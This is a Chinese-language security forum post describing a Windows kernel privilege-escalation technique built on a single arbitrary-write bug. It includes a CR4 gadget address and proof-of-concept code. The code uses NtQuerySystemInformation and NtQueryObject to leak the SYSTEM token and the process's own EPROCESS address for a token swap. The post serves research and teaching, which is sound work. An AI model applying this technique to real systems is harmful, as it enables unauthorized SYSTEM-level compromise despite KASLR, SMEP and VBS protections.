-
-
[原创] 只有一次任意写,高版本win内核提权
-
发表于: 11小时前 205
-
上一次我们讲到HEVD的第三题,驱动有任意写的机会,如果有SMEP的话,我们就没办法在内核很方便地劫持执行流程了。
现代 Windows 防线:SMEP 防 shellcode,kCFG 防劫持代码指针,VBS 锁 CR4。
你只有一个任意写漏洞,没有信息泄露,连 ntoskrnl 基址都不知道(KASLR 生效)。
传统思路:先绕过KASLR,再解析PspCidTable。要求:多次任意读+一次任意写
HalDispatchTable写入Gatget?
这是我第一个想到的思路,既然有SMEP,那我们想办法关掉不就行了。
我在WIN10 1909找到如下Gadget:
0x000000014017ae47 : mov cr4, rcx ; ret
写完发现,糟了,HalQuerySystemInformation不是x64 fastcall,我们可以控制的参数是在栈上的,该方法已经失败了。
另外,基于VBD和HCVI保护,我们也无法执行修改cr4的值
不过,可以尝试写入其他内核函数地址。实现在用户态执行内核函数。或者,如果能控制栈上的数据并泄露栈地址的话,可以使用ROP尝试关掉SMEP。这里笔者没有试过。作为一个思路分享,可以试试
SystemHandleInformation
偶然间看到一篇帖子,使用NtQuerySystemInformation可以直接获得整个系统句柄表的所有句柄,在WRK中查看源码可以看到。
NtQuerySystemInformation -> ObGetHandleInformation -> ExSnapShotHandleTables
在ExSnapShotHandleTables中,使用HandleTableListHead遍历系统中每一张句柄表。(经过逆向,现代该函数执行流程与WRK实现方式相同):
for (NextEntry = HandleTableListHead.Flink;
NextEntry != &HandleTableListHead;
NextEntry = NextEntry->Flink) {
HandleTable = CONTAINING_RECORD(NextEntry,
HANDLE_TABLE,
HandleTableList);
for (Handle.Value = 0;
(HandleTableEntry = ExpLookupHandleTableEntry(HandleTable, Handle)) != NULL;
Handle.Value += HANDLE_VALUE_INC) {
if (ExpIsValidObjectEntry(HandleTableEntry)) {
HandleInformation->NumberOfHandles += 1;
if (ExpLockHandleTableEntry(HandleTable, HandleTableEntry)) {
Status = (*SnapShotHandleEntry)(&HandleEntryInfo,
HandleTable->UniqueProcessId,
HandleTableEntry,
Handle.GenericHandleOverlay,
Length,
RequiredLength);
ExUnlockHandleTableEntry(HandleTable, HandleTableEntry);
}
}
}
}
于是就有Poc(关键代码):
for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i];
if (!systemToken && handleInfo->UniqueProcessId == (USHORT)4 && handleInfo->ObjectTypeIndex == tokenTypeIndex) {
if (!firstFound) {
firstFound = TRUE;
continue;
}
else {
systemToken = handleInfo->Object;
}
}
if (handleInfo->UniqueProcessId == GetCurrentProcessId() &&
handleInfo->HandleValue == hProcess &&
handleInfo->ObjectTypeIndex == processTypeIndex)
{
processObj = handleInfo->Object;
}
}
//输出:processObj->FFFF990ED18A1080 systemToken->FFFF838CAC25E610
观察发现,NtQuerySystemInformation函数返回了system进程(PID=4)的几乎所有句柄,还返回了他们的TypeIndex和内核对象体地址,通过在Windbg中查看,这个TypeIndex甚至是解密后的值!
NtQueryObject
TypeIndex不是固定的,不同系统不一样,怎么办呢?NtQueryObject的ObjectTypesInformation的枚举值,可以返回系统中所有对象的数量,TypeIndex。
关键代码(这里一定要注意OBJECT_TYPE_INFORMATION的对象存放方式):
POBJECT_TYPES_INFORMATION typeInfo = (POBJECT_TYPES_INFORMATION)VirtualAlloc(NULL, SystemHandleInformationSize, MEM_COMMIT, PAGE_READWRITE);
POBJECT_TYPE_INFORMATION tInfo = (POBJECT_TYPE_INFORMATION)&typeInfo->TypeInformation[0];;
NtQueryObject(NULL, 3, typeInfo, SystemHandleInformationSize, &returnLenght);
for (LONG i = 0; i < typeInfo->NumberOfTypes; i++) {
if (!wcscmp(tInfo->TypeName.Buffer, L"Process")) {
processTypeIndex = tInfo->TypeIndex;
}
if (!wcscmp(tInfo->TypeName.Buffer, L"Token")) {
tokenTypeIndex = tInfo->TypeIndex;
}
tInfo = ALIGN_UP((size_t)tInfo + sizeof(OBJECT_TYPE_INFORMATION) + tInfo->TypeName.MaximumLength,ULONG_PTR);
}
Token
查找PID=4,TypeIndex=Token的对象,与windbg对比,发现system进程打开了很多Token,System EPROCESS对象的Token是第二个。
我们有了Token的真实值。
Our EPROCESS Address
自己打开自身进程,查找PID=CurrentProcessId,HandleVal=刚刚打开的句柄值,TypeIndex=Process的对象。
我们有了EPROCESS的真实值
尾声
有了目标进程 _EPROCESS 的地址,再加上 SYSTEM 令牌在内核内存中的真实值,我们就获得了一把最纯粹的钥匙——甚至不需要知道 ntoskrnl 到底加载在哪个随机基址,也完全不用费心去绕过 VBS。这套操作没有 ROP 链、没有栈迁移、也不碰任何控制寄存器,只是静悄悄地把一个地址写进一个偏移里,权限就换了主人。
说实话,这个思路本身并不复杂,甚至可以说简单得有点“不讲道理”。但我在看雪上翻了不少帖子,似乎还没看到有人把它系统性地梳理出来。正因如此,才斗胆写下这篇文章,就当抛砖引玉——无论是更优雅的 Token 定位方法,还是对未来版本防护的讨论,都欢迎大家一起来聊。
文章中的代码放在附件(GITHUB:986K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6m8e0K6l9K6x3g2)9J5c8V1S2q4g2V1c8Q4x3X3c8q4P5s2l9`.):